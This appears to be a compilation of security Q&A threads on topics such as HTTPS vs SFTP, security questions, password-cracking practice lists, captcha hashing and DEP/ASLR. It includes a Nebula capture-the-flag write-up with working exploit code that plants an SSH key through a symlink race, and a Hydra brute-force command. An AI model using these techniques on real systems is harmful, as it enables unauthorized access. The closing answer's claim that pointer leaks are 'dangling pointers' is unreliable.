The user may not go to https://your-secure-file-transfer.com but instead just type your-secure-file-transfer.com into the web browser (which by default goes to the http version).  An attacker could wait for this case, and then capture this traffic and redirect it to their forged copy of that site; stealing the authentication information/financial data.  (Yes a similar thing could happen with sftp being replaced with ftp; but as its typically done in a separate app that saves the connection information this seems less likely -- to go to the ftp version the user typically has to manually type in a different port number).  You can fix this by requiring the site to have HSTS enabled.  Unless they are careful about the URL bar displaying https, the user may not notice they are at an http site or a different URL.  HSTS is only enabled on a small list of major websites by most browsers.  Most of the time, it gets enabled in a web browser after successfully visiting the HTTPS site the first time (where there is a header to remember that this site must always connect over https); giving functionally equivalent security to SFTP.
A non-tech savvy user's web browser is less secure than your standard SFTP client.  Users often install various browser extensions that have the ability to access all your internet activity to get some sort of functionality.  This added-on functionality may come with a secret attack; e.g., steal session cookies, information entered on forms (like their password), etc that eventually gets sent back to the client author.
The CA (or intermediate CA) could be compromised at any date and attackers could get browser-trusted certificates that allow them to spoof your https without detection.  This differs from SFTP again, where the sftp client remembers the public key for the site that it has seen before and alerts you if it has changed.  (Web browsers will not do this; certificates are allowed to change as long as they are properly signed.  Again this is not likely to change any time soon, as load balanced web servers generally all have different signed certificates.

All and all I'd say HTTPS is slightly weaker in practice than SFTP; while both are equally secure based on their cryptographic merits.  If you train your users to check that https is present and at the correct domain, and additionally instilled some paranoia about using browser extensions on their work computers (or suggest using browsers' private mode typically with few extensions installed) it will be roughly equivalent (assuming you have the site setup correctly with HSTS/secure http-only cookies, etc).


I have found ports on my Samsung smart tv running a display service. What can I do with it? I have a Samsung Smart TV running Tizen OS, and out of curiosity I scanned it with Nmap. I found multiple open ports. One of those ports is running a "display" service. Does this mean it can cast its own screen, or that i can cast my screen to it?

While this isn't strictly a security question, I'm unsure if the Stack Exchanges for Super User or Networking would take this, so I'll just answer it quickly:

Depending on your options, nmap will return different results for ports because different steps for service reconnaissance are taken. Since you seem to use a GUI to nmap and are asking a security beginners question, I'm assuming it's the default options, untweaked. In this case, per /usr/share/nmap/nmap-services this is:

 display 7236/tcp        0.000000        # Wi-Fi Alliance Wi-Fi Display Protocol

If the port does in fact match (unfortunately, you did hide that information from us), this is probably a Miracast instance.

From there you can see the direction the display sharing is supposed to work (emphasis mine):

  Miracast is a standard for wireless connections from devices (such as laptops, tablets, or smartphones) to displays (such as TVs, monitors or projectors), introduced in 2012 by the Wi-Fi Alliance. It can roughly be described as "HDMI over Wi-Fi", replacing the cable from the device to the display.

TLDR:

  Does this mean it can cast its own screen, or that i can cast my screen to it?

The latter.


What is the purpose of forcing people to provide "security questions" and answers to them? Am reinstalling Windows 10.

Dang. It forces me to provide no less than THREE security questions. I have to choose them among questions like, What was the name of your first pet and What city were you born in.

OK Windows might do this to convince me to use an online account. But it's not just Windows. There are MANY more examples. Last non-Windows example was the game Realm of the Mad God. And one more, perhaps the weirdest example: management account for my ISP (this includes viewing bills).

I fail to see the purpose of such questions. They ask to provide info that is, in case of most people, easily researchable. (I like to delude myself into thinking it is not in my case, but I wouldn't bet a penny on this). Even if it's not, the answers to such questions are easily brute-forcable (What was your mother's family name? Just check all most popular family names).

I'm a layperson in terms of security. So I may be wrong. But to my little brain, providing answers to these questions (and hence: asking the users to provide such answers) greatly weakens security instead of strengthening it!

And there come the issues of users who forget the wording of their original answer... Title of your favourite piece of music? Many titles can be stated in many ways. Or forgetting the actual answer... Name of your favorite childhood toy? Did I have one? Or even, the aforementioned favorite piece of music? This can change.

Does this practice improve security in any way? If not, then why do so many websites, so many products, so many companies force their users to provide answers for these questions?

You are essentially correct, they don't really "increase security." They are there to (nominally) increase user convenience in case a password reset is needed, at a cost to over-all security.

If you forget your password, many password reset mechanisms require you to answer these questions as a secondary form of proving it is you. these are a hold over from the days before most of this information was easily available, and assumed to be relatively secret.

If forced to use such a system, and you are concerned about security, you can either enter random garbage even you won't know, and take responsibility that you will never be able to use their password reset feature, but neither will a bad guy. Or, enter some other password or token you will remember, but is not the answer to the question.

Don't use anything sensitive for these fields, as you can assume that unlike passwords, they won't be hashed, and may be visible to Customer Service reps trying to verify you over the phone.

For best practice guidance, NIST declared that security questions should not ask users for specific information such as “What is the name of your pet” in the Digital Authentication Guideline publication SP-800-63B (section 5.1.1.2).

https://pages.nist.gov/800-63-3/sp800-63b.html#memsecret


Hash list for practicing password cracking I am looking for resources like a hash cracking competition, but offline. More like a practice list of specifically crafted "passwords" hashed for the purpose of testing various cracking techniques.
Currently I am ranking the runtime and effectiveness of mask-based attacks and plan on learning to write JtR/Hashcat rules.

Is there any "yard stick" for effectiveness of wordlists/rules/masks?

You've got the right idea - this is a great way to learn.

For beginning and intermediate cracking, the best general password lists are actual lists of passwords - those found in leaks with large general user bases. And the best general practice hash lists are the hashes from public leaks.

Your best "bang for the buck", in my opinion, is the hashes.org "left" and "found" lists (the "founds" are combined in multiple archive files at the bottom of the page). The older lists are "frozen" after the year is over, so once you download the older ones, you only have to download this year's once in a while.) You'll also see some "junk" archives listed there. They are less efficient, but can also be interesting to play with after you exhaust other attacks.)

For benchmarking, the Weakpass wordlist index compares wordlist efficacy using the best64 ruleset against a few targets. In that list, you can see that general efficiency compared to the size of the list is quite good for the combined hashes.org list. (But download it directly from hashes.org to get the newest).

Beyond hashes.org, all other human-generated strings are great fodder, including:

wordlists from Wikipedia, Wikia, etc. (See sraveau's work on this)
Usernames and email address (left-hand user portion) from leaks
lists of given names and surnames (there is a Facebook corpus out there)
dictionaries in foreign languages (preferably UTF-8 encoded)
street names, band names, song names
predictable already-memorized sequences (dates, phone numbers, SSNs ...)
etc. (anything else people already remember)

See also SkullSecurity's password page for some good leads, and g0tmi1k's attack efficiency testing, which sounds similar to what you're planning.


Nebula level11: setuid is not working I am trying to solve the level11 of Nebula 5 on the exploit-exercises.com platform.

I do believe I got the basic idea of the challenge, in fact you can find quite numerous write-ups of this level on Internet:

jc han
Cybergibbons
and so on...

The problem is when trying to run the getflag, it seems that the setuid bit is lost during the execution. I know that /tmp/ is mounted with the option nosuid and, therefore, you cannot put a suid program on it. But, it was not my case when I tried it.

I wonder if someone can tell me what really happen here and if it is an unintended bug in this challenge and how to work-around it (possibly through root).

I seems to me that I did not yet clearly understood the mechanism of the setuid bit as it seems to be extremely fragile when calling system().

Also, some write-ups mention the fact that bash disable the setuid bit which seems to me quite dubious (I tried to run setuid programs and got it to run). I somebody can give some insight about it, I would also be pleased.

EDIT

As suggested by Gilles, I am adding a few more details on the problem here.

So, basically, the easiest way to exploit this level is to use the fact that if you set Content-Length to 1 (write Content-Length: 1 on stdin) and, then, type a letter (which get translated in another one by a deterministic process). The string you get will not be null (\0) terminated and the content of the string will be appended to the current content of the memory. Then, the whole string will go through the system() function.

The fact is that you are quite likely to find \0 characters in memory and, thus, be able to call the letter you got as a command.

Then, you just have to set up a symbolic link from D to getflag (the software used to get the flag of a level) and add the location of D to your PATH variable. It should give something like that:

level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11
sh: DPo: command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11
sh: $'D\260@': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11
sh: $'D\220': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11
sh: D: command not found

Then, adding the symbolic link to getflag:

level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11
getflag is executing on a non-flag account, this doesn't count

So, the problem is that the /home/flag11/flag11 software is setuid with the following rights:

-rwsr-x--- 1 flag11 level11 12135 2012-08-19 20:55 /home/flag11/flag11*

Note that, the 'attacker user' is level11 and the 'target user' is flag11.

Nevertheless, it seems that the setuid bit is not honored by the program and you turn back to level11 when you run the getflag program (but you are flag11 during the execution of /home/flag11/flag11.

So, my question is "Why?".

And, I should also add the fact that the other levels seems to work properly. Meaning that this is not the first setuid exploitation on this system, and all others seems to work fine.

How I solved Nebula Level 11

The needed files are located under /home/flag11 let's take a look

level11@nebula:~$ ls ../flag11/ -all
total 21
drwxr-x--- 1 flag11 level11   100 2016-12-20 15:11 .
drwxr-xr-x 1 root   root      140 2012-08-27 07:18 ..
-rw------- 1 flag11 flag11     14 2016-12-20 15:11 .bash_history
-rw-r--r-- 1 flag11 flag11    220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag11 flag11   3353 2011-05-18 02:54 .bashrc
drwx------ 2 flag11 flag11     60 2016-12-20 15:08 .cache
-rwsr-x--- 1 flag11 level11 12135 2012-08-19 20:55 flag11
-rw-r--r-- 1 flag11 flag11    675 2011-05-18 02:54 .profile
drwxr-xr-x 1 flag11 flag11     60 2016-12-20 15:07 .ssh

This little .ssh folder raises some kind of alarm signal in my brain. Maybe we need this later on. As you can see some of the files had been recently accessed. This was due to my attack.

The attached C code of the exercise is the following:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();

  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}

After analyzing this code Return a random, non predictable file, and return the file descriptor for it.. When someone states non predictable I try to predict. This needs to be deferred a bit because the rest of the code needs inspections. Just some remarks, on old Linux systems pid of an process is pretty predictable. Of course srandom() seeded with time is predictable too.

Okay, there is some XOR encryption scheme used to decipher the buffer in process and this deciphered buffer is handed to system. Okay we need to inject some attacking calls here. From the inspection of the files we knew this is yet another setuid bit challenge, okay this is getting lame I thought. Frankly I was a bit too optimistic.

In the main function the processing buffer is filled from stdinand checked against some hard coded prefix nothing magic here.

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  // ...
  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {

  //...
}

The err functions will exit the executable when they are hit. To bypass the following check if(fread(buf, length, 1, stdin) != length) {, the length passed to this executable needs to be one. In this case the injected code is very limited. Tests with overflowing atoi and negative numbers always failed. Because fread returns the number of items read and not the number of bytes, in this case it always returns one. Form the other exercises we knew we can pretend the PATH variable with a path we have under control. So just we just need to inject a single character into the magic process() function. The reverse of the XOR is pretty straight forward. You may need some tries to execute your command, this is because the whole buffer is passed to system. The buffer is located on the stack of main and because of this it is filled with garbage. But the chances that we hit a zero in the second character is not too bad. I already felt my success but then I got this:

getflag is executing on a non-flag account, this doesn't count

This time it was not me cheating, but the authors of Nebula the provided source code did not mention that they removed the setuid bit before the call to system. This was exposed by the strace  command.

getgid32()                              = 1012
setgid32(1012)                          = 0
getuid32()                              = 1012
setuid32(1012)                          = 0
rt_sigaction(SIGINT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbfa443a8) = 6180

Okay, this looks like a dead end. Back to the drawing board, the SSH idea popped up again. But how can we use the .ssh folder. This is pretty easy we have to inject a authorized_keys file there. But how can this be achieved without setuid?

  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);

}

So far I completely ignored the else case of the buffer length check. This is where the super top secret temp file name comes into the game. To get control over the file we have to define the environment variable from the shell we run the attack later on:

export TEMP=/tmp

Now it is just a matter of guessing the PID of our victim. This is easy, when we pipe the stdout to the stdin of the victim the chances are high it is just plus one of our own. Otherwise popen() could be used and injecting pid from ps | grep flag11. The time part is super easy because it is the time in seconds. To get a stable successrate we also use the filename for the next second. The whole attacker code lookks like this:

int getrand(char **path, int pid, int time)
{
  char *tmp;
  int fd =  0;

  srandom(time);

  tmp = getenv("TEMP");
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  return fd;
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[2048] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyS3QqEqbQHTk30QVRpzPVlKjM0px2iMhFfKFP0AmV8vOzCxVLJrYQv0CKPzQDdnszm/H+HrUjBS+c2RY0QB7IPJ8++tuqNEfewoYHJ80NI+7e9mn0HxlN9NCvI6TGX0+1s0VigwtKmq29pP7jHgualoowGrllnk42QI1nvUern6WZUu/Ry+lGyjyYbgd6BSOQpuvnxpxsFDWuk7AsUwrHJijPstS+lsrFZaMEYGqlxHv2hPjCFoADlrTCgusmrwLWsh/ljPfpgzRs2Ts/KF901xpCoHdzzwpckLuoA8+bYznifBp+StDEMkT5gZDygDUTfz5xhYr+KEx1ijHMHvix level11@nebula";

  int pid;
  int fd;
  char *path;
  FILE* stream;

  pid = getpid()+1;
  getrand(&path, pid, time(NULL));
  symlink("/home/flag11/.ssh/authorized_keys",path);
  getrand(&path, pid, time(NULL)+1);
  symlink("/home/flag11/.ssh/authorized_keys",path);
  fprintf(stdout, "%s%d\n%s",CL,sizeof(buf),buf);
}

The ssh key needs to be generated first. It took me some tries to fullfill those strange checks with the colors. Maybe one needs to check the format of the time() function to not run into overflow issues. At the moment it is not clear to me why it is not neccessary to crypt the buffer. Maybe some speciality of the mmap function. Anyway with the ssh key injected you can log into flag11 account and get your flag.

level11@nebula:~$ ./pwn11 | ../flag11/flag11
blue = 2048, length = 2048, pink = 395
blue = 1653, length = 2048, pink = 0
flag11: fread fail(blue = 1653, length = 2048): Operation not permitted
level11@nebula:~$ ssh flag11@localhost

      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/

    exploit-exercises.com/nebula

For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).

Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

flag11@nebula:~$ getflag
You have successfully executed getflag on a target account
flag11@nebula:~$


What is a security embargo? Via Hackernews I landed on "An Ancient Security Hole is (Not) Closed", which mentions "embargoes" on several occasions, e.g.:

  ...I have no interest in digging out more details or ruining embargoes that I'm not party to.

I know the generic meaning of "embargo", but am unsure of what the security-related version specifically means. Security.SE has no question on what such an embargo is. My Google-fu leads to only related articles or other types of embarboes.

Common sense tells me it's just that a target of a vulnerability would politely ask that you don't disclose them before they've fixed things. Is it just that, or is there more to it?

Embargo of a security issue means that the issue will not be publicly disclosed for some time by the vendor/discoverer. This is usually done to give the affected companies enough time to fix the problem and ship the fixes to the customers. If multiple parties are involved or if the needed code changes are done in public repositories, embargoes can get tricky because the chance that the issue gets early known is much higher than with a single party.


SSH : Remote Host Identification Changed As part of my daily routine, I was SSH'ing to one of the corporate servers.
However this time I was presented with following message

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
XX:XX..............
Please contact your system administrator.
Add correct host key in /Users/<user>/.ssh/known_hosts to get rid of this message.
Offending key in /Users/<user>/.ssh/known_hosts:43
RSA host key for <SERVER> has changed and you have requested strict checking.
Host key verification failed.

Please explain as to MiTM attacks are possible in this scenario.

If an attacker gets control over one of the routers between you and the machine you are connecting to, they can redirect your IP packets to some other machine, which would then claim to be the real target. It might forward both your authentication and the following traffic.

Obviously, that machine would learn your password if you use one, see what you are doing on the remote machine, and could alter all data sent in any directions. Everything a man in the middle attack allows to do (which is different from passively observing the traffic).


Hydra - Possible to follow redirects I'm trying to use Hydra on an ASP web application. Their login page uses the following method:

site/Login: username/password

If successful, I am redirect back to site/Login but with a newly set cookie, then redirected to site/Home

If authentication is not successful, the site shows an error message on site/Login

I've tried the following command:

hydra <ip> http-post-form "site/Login.aspx:< args >:S=moved" -l test -p test

However, this returns true for each user/pass combination. How can I make Hydra follow the redirection and work properly?

edit: It seems that Hydra is not able to create an SSL connection. I cannot see why it cannot do this.

You can use -S if you want to enable SSL


List all keys in Utimaco HSM created by PKCS11 and CNG? Is there a way to list all keys inside the Utimaco HSM, created by PKCS11 interface and cngtool?
currently, I only can view each of them separately:
PKCS11: using "PKCS#11 CryptoServer Administration" interface.
CNG keys using the command: cngtool ListKeys

This is not a general PKCS#11 question, but it relates to a specific vendor and how this vendor implemented different APIs. Therefore, primary contact point would be their support.
In this case, PKCS#11 and CNG use the vendor's proprietary API CXI and, therefore, all keys can be listed using cxitool (given that you have a user with the proper rights).


Is it possible to create a file that never completes its download process? Is it possible to built a file from scratch that when it gets downloaded via HTTP, the download never actually completes ? I am not talking about ZIP BOMB here.

Some download software allows you to download streaming events, thus the final size of the file is not known. Is it possible to craft a file where the download software is not able to "guess" the actual file size and keeps on downloading?

Yes it is possible.  You just need to use the chunked transfer encoding.
https://en.wikipedia.org/wiki/Chunked_transfer_encoding

Depending on your server's configuration, you might be able to simply create a CGI script that writes and flushes stdout in an infinite loop.

It does not seem to work on Lighttpd which I believe buffers the entire output from the CGI script before sending it to the client.  It might work on other webservers though.

Example:

HTTP/1.1 200 OK\r\n
Transfer-Encoding: chunked\r\n
Content-Type: text/plain\r\n
\r\n
1e\r\n
Uh-oh, this will never stop.\n
1e\r\n
Uh-oh, this will never stop.\n

followed by an infinite repetition of "1e\r\nUh-oh, this will never stop.\n"


Security Onion VMWare + OpenWRT IPTables Mirroring I'm trying to set up SO in my home network to lab and see if I can monitor all ingress/egress traffic from my SOHO router. I don't have a switch with SPAN ports, or a network tap so I'm using OpenWRT in combination w/ iptables mirroring functionality via --tee.
My management interface on my SO VM is 192.168.1.100/24. I'm using the following iptables routes, added via SSL to OpenWRT, and verified in the status -> firewall web UI.

iptables -t mangle -A PREROUTING -d 192.168.1.0/24 -j TEE --gateway 192.168.1.100
iptables -t mangle -A POSTROUTING -s 192.168.1.0/24 -j TEE --gateway 192.168.1.100

OpenWRT says that it is indeed sending traffic on the .1 subnet to .100, however when I log into the SO machine and try to trigger IDS events from another machine on the subnet, nothing flags. I tried doing tcpdump to check traffic, and I'm not seeing any foreign traffic on the VM either. All I see are just DHCP requests.
Thoughts on what I might be doing wrong here? Appreciate any assistance!
Update 1/13/18 - Resolved the issue. The wireless card was having troubles with vmware & promisc mode. Once I swapped to a cable, I was able to see all inbound traffic from other hosts in the subnet!

Update 1/13/18 - Resolved the issue. The wireless card was having troubles with vmware & promisc mode. Once I changed the medium (CAT5E), I was able to see all inbound traffic from other hosts in the subnet!


Do browsers still send cookies if I choose to visit an unsafe site warned by browsers? For example, assume I get a NET::ERR_CERT_AUTHORITY_INVALID warning in Chrome, when visiting a website. If I still choose to visit that site, do cookies still get sent as usual (when the site is safe, no warning)?

... visit an unsafe site warned by browsers?

First, these HTTPS related warnings are NOT about the site being safe or not. HTTPS says nothing about the actually security or safety of a site but only cares about protecting the communication between the browser and the site.

These warnings inform you that the communication MIGHT not be properly protected since the certificate does not match the expectations. You should only bypass the warning if you are sure that the site is just wrongly configured, i.e. that the certificate might not match the browsers expectation but it matches your expectation.

Based on this the browser will then assume that the communication is properly protected since the certificate matches what the user expected and will then proceed as normal, including exchanging cookies with this site.


Is it possible to get data out of running application from non-rooted phone I'am writing some small security report about Android devices in general related to accessing information from RAM. Main condition is that device initially is non-rooted.

Use case: User opens 3rd-party app, enters some password in password field. After that the device is lost with this running application. Source code of this application shows that this password information available in RAM while application is up and running. For example in class AllMyAppPasswords in public String myPassword. Now is the question about possible way to access this password info (correct me if I am wrong):

The way to access this pwd is to dump the memory.
For memory dump I need to have device to be rooted.
In order to root the device I need to unlock bootloader.
To achieve unlock bootloader and root operations it is requires that device needs to be rebooted at least once.
After device is rebooted the information about password is gone from RAM

More info to current use case: We assume that user just un-boxed new device and 100% sure that it is not rooted and not contain any keylogger apps. So user just installed my app, entered password, and application uses this password internally during run-time for periodically connecting the server (password only RAM, never stored on disk). So, visually there is nothing left in Edit text fields, info about password only in application memory for internal use, of course it is not possible just to read password text from the screen. Now user lost his phone.

Conclusion and my question: It is not possible to get password residing in RAM memory from app if device is non-rooted (without physical disassembling frozen memory chip). Is it correct? Should user concern about someone who found his phone can get this password info from RAM?

Your assumptions about rooting a phone are not necessarily correct.  The most typical way is to unlock the bootloader, since it allows root to be granted at boot time, however a flaw in the OS could result in it being possible to root the phone without unlocking the bootloader. While I am not aware of any current ways to do this against Android 4, it was very possible in versions prior to 2.2 and there was even a virus that rooted on a running phone that made it in to the wild.  This is likely why that particular flaw (which had been used to root phones for some time) was finally patched.

Rooting only requires some exploit that will allow for permissions to be elevated to the superuser context.  There are many ways this could be done, just most people don't bother to try and find them since they just want to unlock their devices and the bootloader is the path of least resistance.


What's a good secure file deleter I've used cipher \w which is built into Windows to overwrite free space but I'm looking for a tool that securely deletes files which have not been deleted yet. It would be a plus (but certainly not nescecary) if it had the option to securley delete browser history/cached pages. I've used CCleaner and Acronis Privacy Suite before but I hear CCleaner messes up FireFox and Acronis' product isn't supported anymore. Any suggestions?

The problem with deleting files is that the file data is just one small part of what really gets saved onto your disk. On a modern filesystem there will be lots of metadata and other artifacts scattered around the disk:

Journal entries on journaling filesystems, e.g. NTFS, ext3, ext4.
Search index entries.
Prefetch / superfetch cache entries.
Shadow copies.
Image thumbnail caches, e.g. WinXP's thumbs.db / Win7's thumbnail database.
Temporary files, e.g. from ZIP/RAR extraction.
Alternate data streams (ADS), e.g. EFS FEK descriptors.
COM / .NET object registration data.
Wear leveling sectors on SSDs / USB flash drives.

This presents a challenge. Simply deleting the file data securely will only result in that data being deleted. There's no guarantee that the metadata won't contain sensitive data, or even be enough to reconstruct the entire file or match its hash against that of a known plaintext.

For example, even if the file is deleted we might be able to detect the following:

The name of the file and when it was created / deleted / modified.
A cryptographic hash (or checksum, e.g. CRC32) of the file, from an indexing database.
Occurrence of certain words or phrases inside the file from a search content index.
Company name, product name, COM object interfaces, .NET namespaces, etc. if it was a PE executable.
A thumbnail if the file was an image.
Various metadata from latent alternate data streams.
Partial plaintext from temporary files and wear leveling sectors.
Entire plaintext recovery from shadow copies or temporary files.

Identifying the locations of these and appropriately deleting them is cumbersome and may not even be possible in some cases. The best you can do is manually go through and clear any backups, delete the files, clear out your caches, wipe your thumbnail database, then do a cipher /W pass to ensure that most of it is wiped. Unfortunately even this won't guarantee anything, since some of it is stored in files and structures that are just trimmed or modified instead of properly deleted, resulting in blocks of data that are unlinked from the structure but not wiped.

So how can we get round this? The only real way to do it is with full disk encryption. Use an industry standard like TrueCrypt to encrypt your entire hard disk, using a strong password. Even this isn't 100% foolproof on SSDs with wear-leveling (in which case TRIM and Secure Erase are good options) but it protects you against all relevant practical attacks as long as you're not worried about governments throwing a ludicrous budget at recovering your data.

Of course, if you're really paranoid, the only guaranteed solution is full physical destruction. This is usually achieved using an industrial disk shredder that physically cuts the disk up into little cubes, and often involves a pass through a strong magnetic field. For government and military purposes, these cubes are often melted in a furnace afterwards for good measure.


How to check randomness of random number generators? Assume that I have a smart card that returns an 8 byte (for example) random value on reception of a command. The question is that:

How I can check if this value is really random?
(I don't have any access to implementation and mechanism. I just see an 8 byte hex number.)

In the other world, Is there any way to check the randomness of output of the random generators based on the output? or the only way is analyzing the implementation and mechanism of generator?

NIST has defined in NIST Special Publication 800-22 an extensive set of statistical tests for verifying a source of randomness.

However, while this is good enough to assert that a RNG is not obviously broken, it isn't sufficient to assert that a RNG is "good". It is the nature of RNGs that very subtle flaws can lead to breaking it. The only proper way of checking the robustness of an RNG is looking at the implementation.


Yii client side captcha validation Apparently, Yii web application framework generates some kind of hash value from captcha codes it generates and sends it to the client side so it can be used for client side validation of the captcha codes (without the need to contact the server side for validation every time).
client side hash value is indeed generated by a very week homemade hash function (or better to say, some checksum algorithm). It is just the sum of ascii codes of all characters of the captcha code! so several captcha codes may indeed easily create the same checksum. so if an attacker uses it for brute-force attack, it gets an non-deterministic result every time (several character combinations exists that generate the same checksum).
Can u please analyze  the security of this scheme somewhat more professionally and precisely? Probably some math calculation is needed. can this method be a sane thing? can it be used for severely breaking the security of the captcha system?

yii.validatin.js  line 246 (client side javascript captcha validation function):

captcha: function (value, messages, options) {
            if (options.skipOnEmpty && pub.isEmpty(value)) {
                return;
            }

            // CAPTCHA may be updated via AJAX and the updated hash is stored in body data
            var hash = $('body').data(options.hashKey);
            if (hash == null) {
                hash = options.hash;
            } else {
                hash = hash[options.caseSensitive ? 0 : 1];
            }
            var v = options.caseSensitive ? value : value.toLowerCase();
            for (var i = v.length - 1, h = 0; i >= 0; --i) {
                h += v.charCodeAt(i);
            }
            if (h != hash) {
                pub.addMessage(messages, options.message, value);
            }
        },

server side checksum generation function:

/**
     * Generates a hash code that can be used for client side validation.
     * @param string $code the CAPTCHA code
     * @return string a hash code generated from the CAPTCHA code
     */
    public function generateValidationHash($code)
    {
        for ($h = 0, $i = strlen($code) - 1; $i >= 0; --$i) {
            $h += ord($code[$i]);
        }

        return $h;
    }

Server-side validation collates submitted value with a text representation of the captcha image, not the ascii sum or etc.

Let's take a look at standard 5 a-z chars captcha example:

Quantity of all combinations from aaaaa to zzzzz is 26^5 = 11881376 combinations.
Quantity of all ascii sums of our captcha is 610-485+1 = 126

So, if we have an ascii sum of captcha, we're refine our possible combinations area to 11881376 / 126 = 94296 combinations.

Even though our area is narrowed down by 99.2%, the risk mitigates by captcha regenerating after server-side validation fail, which leaves us only one try for combination, whereas we need to bruteforce about 94000 values for one captcha.

Surely, client-side validation increases possibility for captcha bypassing, but far not enough yet to really bypass it.


Some websites does not allow TOR navigation: how to avoid that? I cannot enter some websites using the TOR navigator on windows (or Linux)

ex: http://pagesjaunes.fr/

Is there a way to avoid that ?

The list of Tor exit nodes is public, so if a website does not want any visitors from Tor they are free to block access from these IP addresses. There isn't really a way around this except to not use Tor.

You can try to find a trustworthy VPN that the site doesn't block, but you likely won't achieve the same level of anonymity with a VPN as you would with Tor without some careful configuration on your end.


How "leaking pointers" to bypass DEP/ASLR works I was wondering if anyone could give me some clues on how "leaking pointers" to bypass DEP/ASLR work. I read here:

  The only way to reliably bypass DEP and ASLR is through an pointer
  leak. This is a situation where a value on the stack, at a reliable
  location, might be used to locate a usable function pointer or ROP
  gadget. Once this is done, it is sometimes possible to create a
  payload that reliably bypasses both protection mechanisms.

how this is accomplished is kind of a mystery to me. I have a buffer overflow.. so I can overwrite till EIP and stack contents.. I have a reliable function pointer or code pointer in the stack, and I know where this is stored.. also if I know this location.. how do I put this address in EIP? I can't control the execution stream if I can't change EIP to that reliable location

"Leaky Pointers", more commonly known as "Dangling Pointers", is useful to create an attack chain to bypass a layered security system.
The idea behind DEP is that you are making regions of memory non-executable,  such that shellcode in this area cannot be executed.  DEP alone is really easy to bypass,  you can just ret-to-lib,  and call any function you would like,  system() is a favorite.
